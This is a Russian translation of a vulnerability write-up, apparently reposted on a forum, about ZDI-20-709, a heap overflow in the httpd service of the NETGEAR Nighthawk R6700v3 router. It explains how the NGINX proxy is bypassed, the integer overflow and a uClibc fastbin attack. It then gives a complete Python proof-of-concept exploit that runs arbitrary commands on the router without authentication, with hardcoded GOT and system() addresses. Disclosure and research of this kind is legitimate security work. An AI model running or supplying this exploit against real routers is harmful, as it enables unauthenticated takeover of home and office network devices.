Гостевая статья ZDI-20-709: переполнение кучи в маршрутезаторе NETGEAR NIGHTHAWK R6700

На Pwn2Own Tokyo 2019 беспроводные маршрутизаторы были представлены как новая категория. Одним из маршрутизаторов, на которые нацелились участники соревнования, был NETGEAR Nighthawk R6700v3. Хотя я не участвовал в конкурсе, это вдохновило меня посмотреть на устройство и посмотреть, смогу ли я найти какие-либо уязвимости. В дополнение к тому, что было найдено на конкурсе, я обнаружил уязвимость переполнения кучи в маршрутизаторе, которая могла позволить злонамеренным третьим лицам получить контроль над устройством из локальной сети. В этом посте я подробно расскажу об этой уязвимости и предоставлю пробную версию эксплойта, которая должна работать «из коробки» на любом маршрутизаторе с версией прошивки V1.0.4.84_10.0.58.

Уязвимость существует в службе httpd ( /usr/bin/httpd), работающей на уязвимых устройствах. Злоумышленники, не прошедшие проверку подлинности, могут отправлять специально созданный HTTP-запрос веб-службе httpd при подключении к локальной сети, что может привести к удаленному выполнению кода в целевой системе. Успешное использование этой уязвимости может привести к полному компрометации уязвимой системы. В функции загрузки файлов, обрабатывающей импортированный файл конфигурации, существует уязвимость переполнения кучи.

Запасной план

Сначала я кратко расскажу о дизайне обработки HTTP-запросов на маршрутизаторе. Что касается дизайна, веб-служба не прослушивает напрямую порт 80. Однако существует другой процесс, который действует как прокси-сервер и прослушивает порт 80. Этот процесс является прокси NGINX. Я еще не углубился в это, поэтому я не уверен, что это версия веб-сервера NGINX общего пользования. Я объясню более подробно о его функции ниже.

Затем, когда HTTP-запрос достигает службы httpd, основной функцией обработки является sub_159E8(). Процесс выполнения этой функции выглядит следующим образом:


01+sub_159E8_execution_flow.png

Рисунок 1 - Поток выполнения функции sub_159E8

Для начала программа читает HTTP-запрос из сокета. Затем он выполняет проверку, чтобы определить, имеет ли HTTP-запрос форму запроса на загрузку файла. Если эта проверка возвращает false, sub_10DC4функция вызывается. Эта функция отвечает за анализ HTTP-запросов, выполнение аутентификации, диспетчеризацию запросов и так далее. И наоборот, если HTTP-запрос представлен в форме запроса на загрузку файла, часть кода, показанная как X, будет выполнена. Мы видим, что sub_10DC4это основная функция для обработки запросов. Часть кода X находится за пределами этой функции, поэтому эта область должна нас заинтересовать. Уязвимость, которую я представлю в этом блоге, найдена там.

Уязвимость

Как уже упоминалось выше, уязвимость вызвана загрузкой по HTTP. Запросы на загрузку обрабатываются конечной точкой /backup.cgi. Во время тестирования этой функциональности я обнаружил две отдельные проблемы, влияющие на эту конечную точку. Первый включает в себя отсутствующие проверки подлинности. Злоумышленник может загрузить новый файл конфигурации без аутентификации. Тем не менее, мы не можем заменить учетные данные цели или изменить настройку целевой системы, так как перед применением новых параметров конфигурации существуют проверки подлинности. Вторая проблема - это классическая уязвимость переполнения кучи в функции загрузки файлов.
Уязвимая функция копирует содержимое загруженного файла в кучный буфер контролируемого злоумышленником размера. Ниже приведен псевдокод уязвимой функции:

02+vuln_code_pattern.png

Рисунок 2 - Псевдокод уязвимой функции

Чтобы контролировать размер буфера на основе кучи, злоумышленник может использовать заголовок Content-Length , но это не так просто. Давайте пойдем немного глубже и объясним почему.
HTTP-запрос на импорт файла конфигурации выглядит следующим образом:

03+import_config_reqest.png

Рисунок 3 - HTTP-запрос на импорт файла конфигурации

HTTP-запрос должен удовлетворять нескольким условиям. Во- первых, URI должен содержать один из следующих строк: backup.cgi, genierestore.cgi, или upgrade_check.cgi. Затем запрос должен быть запросом multipart / form-data с заголовком name="mtenRestoreCfg. Наконец, имя файла не может быть пустой строкой. Однако, согласно схеме, HTTP-запрос должен быть передан прокси-серверу NGINX перед передачей в службу httpd. policy_default.confКонфигурационный файл NGNIX прокси выглядит следующим образом :

04+nginx_config.png

Рисунок 4 - Конфигурация NGINX

Поэтому, чтобы обойти прокси NGINX, я выбрал этот URI:

05+bypass_uri.png

Рисунок 5 - URI для обхода прокси

Обработка загрузки файла происходит в sub_159E8функции. Отсюда программа извлекает значение Content-Length из заголовка:

06+contentlength_extract.png

Рисунок 6 - Извлечение длины содержимого

Приведенный выше фрагмент кода сначала находит Content-Lengthзаголовок в пределах всего HTTP-запроса с помощью stristrфункции, а затем извлекает и преобразует значение заголовка из строки в целое число с помощью цикла с помощью минимальной реализации atoiфункции:

07+loop.png

Рисунок 7 - Цикл для преобразования строки в целое число

Однако мы не можем напрямую передать произвольное значение в Content-Lengthзаголовок из-за прокси NGINX. Помимо фильтрации запросов, прокси-сервер также перезаписывает запросы. Он гарантирует, что Content-Lengthзначение равно размеру данных поста, и помещает Content-Lengthзаголовок в первый заголовок запроса. Поэтому мы не можем подделать Content-Lengthзаголовок в другом заголовке. Однако логика извлечения заголовка Content-Length имеет недостатки. Он выполняет stristrфункцию для всего HTTP-запроса, а не только для заголовков запросов! Таким образом, Content-Lengthв URI можно поместить заголовок, который будет интерпретирован службой httpd следующим образом:

08+forge_uri.png

Рисунок 8 - URI для подделки значения Content-Length

Поскольку строка запроса появляется перед заголовками HTTP, с указанным выше URI, строка, переданная в код на рисунке 7, имеет вид 111 HTTP/1.1. Таким образом, мы можем полностью контролировать значение Content-Lengthи запускать уязвимость целочисленного переполнения.

Кстати, одна забавная вещь в atoiреализации, показанной на рисунке 7, заключается в том, что она не останавливается при попадании в нечисловые символы. Вместо этого он продолжается до тех пор, пока не найдет последовательность новой строки \r\n, анализируя любой другой найденный символ, как если бы он был десятичной цифрой. Чтобы определить числовое значение каждого символа, код символа ASCII для цифры 0вычитается из кода символа. Эта формула дает ожидаемые значения при анализе цифр 0через 9. При разборе нецифровых символов это приводит к недопустимым результатам. Например, при разборе пробела (ASCII 0x20) он вычисляет, что его значение в виде цифры равно 0x20 – 0x30или 0xfffffff0. Из-за неверных вычислений строка111 HTTP/1.1в приведенном выше примере выдает окончательное вычисленное значение 0x896ebfe9! Чтобы контролировать это значение, я использовал программу грубой силы, которая подставляет различные значения Content-Length и моделирует atoiцикл, пока не будет найдено подходящее значение. Было получено решение 4156559 HTTP/1.1, которое оценивается ffffffe9как хорошее отрицательное значение разумного размера.

Продолжая вниз по пути кода:

09+integeroverflow.png

Рисунок 9 - Уязвимость переполнения целочисленного типа

Во-первых, программа сравнивает значение Content-Lengthс 0x20017, используя сравнение без знака. Если значение больше 0x20017, код сборки по адресу 0x17370 будет выполнен. Тогда значение сохраняется dword_19A08и dword_19A104равно 0 из-за запроса конфигурации импорта. Далее программа проверяет значение указателя, сохраненного в dword_1A870C. Если это значение не равно нулю, память, удерживаемая этим указателем, будет освобождена. Затем программа выделяет память для хранения содержимого файла, вызывая malloc, передавая значение Content-Lengthплюс 0x258. Результат сохраняется в dword_1A870C. Поскольку мы можем полностью контролировать значение Content-Length, мы можем вызвать здесь целочисленную уязвимость переполнения, установив Content-Lengthзначение в отрицательное число.
Затем программа копирует все содержимое файла в буфер, выделенный выше. Это приводит к уязвимости переполнения кучи.

10+heapoverflow.png

Рисунок 10 - Уязвимость переполнения буфера кучи

Эксплойт Соображения

Вот несколько вещей, которые следует учитывать при разработке эксплойта:
- У нас есть уязвимость переполнения кучи, которая позволяет нам записывать произвольные данные в память кучи, включая нулевые байты.
- Из-за плохой реализации ASLR память кучи расположена по постоянному адресу.
- В системе используется uClibc. Это минимальная Libc версия glibc, так mallocи free функции имеют простые реализации.
- После вызова memcpy() и достижения переполнения кучи sub_21A58()будет вызван возврат страницы ошибки. В sub_21A58(), fopen() вызывается, чтобы открыть файл. В fopen(), malloc() вызывается дважды, с размерами 0x60 и 0x1000 соответственно. Каждое из этих распределений освобождается впоследствии. Таким образом, последовательность выделения памяти и освобождения будет следующей:

11+memory_alloc_process.png

Рисунок 11 - Последовательность операций выделения памяти

Кроме того, мы можем отправить запрос Import String Table для вызова другого mallocи freeв sub_95AF4(). Эта функция используется для вычисления контрольной суммы файла загрузки таблицы строк. Псевдокод выглядит следующим образом:

12+sub_95AF4_code_pattern.png

Рисунок 12 - Псевдокод из sub_95AF4 ()

HTTP-запрос на импорт таблицы строк выглядит следующим образом:

13+import_str_table_req.png

Рисунок 13 - Импорт строки таблицы HTTP-запроса

Эксплойт Техника

Переполнение буфера динамической памяти дает нам возможность проводить атаку fastbin dup. «Fastbin dup» - это тип атаки, который портит состояние кучи, так что последующий вызов malloc возвращает выбранный адрес. После того, malloc как вернули выбранный адрес, мы можем записать произвольные данные по этому адресу (запись-что-где). Перезапись записи GOT затем приводит к удаленному выполнению кода. В частности, мы можем перезаписать запись GOT для free(), перенаправив ее system() так, чтобы оболочка выполняла буфер, содержащий данные, предоставленные злоумышленником.
Однако в нашем случае нелегко провести атаку fastbin dup. Напомним, что при каждом запросе происходит дополнительный malloc(0x1000) вызов. Это производит вызов __malloc_consolidate() функции, уничтожая фастбин.
Как уже упоминалось выше, система использует библиотеку uClibc, так free() и malloc() функции сильно отличаются от реализации GLibC в. Вот посмотрите на free() функцию:

14+free.png

Рисунок 14 - Реализация free () в uClibc

В строке 22 обратите внимание на отсутствие проверки границ при доступе к fastbins массиву. Это может привести к недопустимой записи в fastbins массив.
Проверка malloc_state структуры и fastbin_index макроса, оба определены в malloc.h:

15+malloc.png

Рисунок 15 - структура malloc_state и определение макроса fastbin_index

max_fast переменная находится непосредственно перед fastbins массивом. Поэтому, если мы установим размер чанка равным 8, тогда, когда этот чанк будет освобожден, fastbin_index(8)он вернет значение -1и max_fast будет перезаписан большим значением (указателем). Обратите внимание, что чанк никогда не имеет размера 8, когда куча работает правильно. Это связано с тем, что метаданные, являющиеся частью чанка, занимают 8 байтов, поэтому размер 8 будет означать, что пользовательские данные равны нулю.
Как только max_fast было изменено большое значение, __malloc_consolidate() больше не будет вызываться во время malloc(0x1000). Это позволяет нам продолжить атаку fastbin dup.
Таким образом, процесс эксплойта выглядит следующим образом:
- Выполните запрос, вызывающий уязвимость переполнения кучи, перезаписывая PREV_INUSE флаг чанка, чтобы он неправильно указывал, что предыдущий чанк свободен.
- Из-за неправильного PREV_INUSE флага мы можем malloc() вернуть чанк, который перекрывает фактический существующий чанк. Это позволяет нам редактировать поле размера в метаданных существующего чанка, устанавливая для него недопустимое значение 8.
- Когда этот чанк освобождается и помещается в фастбин, malloc_stats->max_fast он перезаписывается большим значением.
- После malloc_stats->max_fast изменения __malloc_consolidate() больше не будет вызываться во время звонков malloc(0x1000). Это позволяет нам продолжить атаку fastbin.
- fdСнова запустите уязвимость переполнения кучи, перезаписав (прямой) указатель свободного фрагмента фастбина с выбранным целевым адресом.
- Последующий звонок malloc() вернет выбранный вами целевой адрес. Мы можем использовать это для записи выбранных данных на целевой адрес.
- Используйте этот примитив write-what-where для записи по адресу free_got_addr. Данные, которые мы пишем, есть system_plt_addr.
- Наконец, при освобождении буфера, содержащего предоставленную злоумышленником строку, system()вызывается вместо free(), производя удаленное выполнение кода.
Расположение кучи памяти и пошаговый процесс эксплуатации приведены в файле PoC ниже.

Python:
#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def exploit():
    path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    print '[+] malloc 0x28 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29
    # 02:0008│ r0 0x103f008 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    post_request(path, headers, f)

    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29 /* ')' */
    # 02:0008│ 0x103f008
    # 03:000c│ 0x103f00c
    # ... ↓
    # 0a:0028│ 0x103f028
    # 0b:002c│ 0x103f02c ◂— 0x19
    # 0c:0030│ r0 0x103f030 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)

    print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */
    # 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
    post_request(path, headers, f)

    print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x4f1
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x9
    # 12e:04b8│ 0x103f008
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x10417a8 ◂— 0xdfc3a88e
    # 01:0004│ 0x10417ac ◂— 0x19
    # 02:0008│ r0 0x10417b0 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)

    print '[+] malloc 0x38 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770
    # ... ↓
    # 0e:0038│ 0x103e7a0
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 10:0040│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ 0x103e770 ◂— 0x0
    # 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
    # ... ↓
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk
    # 10:0040│ 0x103e7a8 —▸ 0xf555c (semop@got.plt)
    free_got_addr = 0xF559C
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x30)
    f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
    post_request(path, headers, f)

    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e7a0 ◂— 'aaaaI'
    # 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 02:0008│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x40)
    post_request(path, headers, f)

    print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
    # 00:0000│ 0xf555c (semop@got.plt) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr}
    # 01:0004│ 0xf5560 (__aeabi_idiv@got.plt) —▸ 0xd998 ◂— str lr, [sp, #-4]!
    # 02:0008│ r0 0xf5564 (strstr@got.plt) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here
    system_addr = 0xDBF8
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] Done'

if __name__ == '__main__':
    context.log_level = 'error'
    if (len(sys.argv) < 4):
        print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]
    command = sys.argv[3]
    exploit()


Вывод

На момент публикации этого блога поставщик : «NETGEAR планирует выпустить обновления прошивки, которые устранят эти уязвимости для всех затронутых продуктов, которые находятся в пределах периода поддержки безопасности». У них есть исправление в бета-версии, которое можно скачать , Это не было проверено, чтобы увидеть, достаточно ли оно устраняет основную причину этой уязвимости. ZDI опубликовал свои рекомендации 15 июня. В своем раскрытии они отмечают: «Учитывая характер уязвимости, единственная существенная стратегия смягчения состоит в том, чтобы ограничить взаимодействие со службой доверенными машинами. Только клиенты и серверы, которые имеют законные процедурные отношения со службой, должны иметь возможность общаться с ней. Это может быть достигнуто несколькими способами, в частности, с помощью правил / белых списков брандмауэра ». Пока исправление не доступно, это лучший совет, чтобы минимизировать риск при использовании этого устройства.

Источник:
 
Последнее редактирование:
  • Нравится
Реакции: Vertigo
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!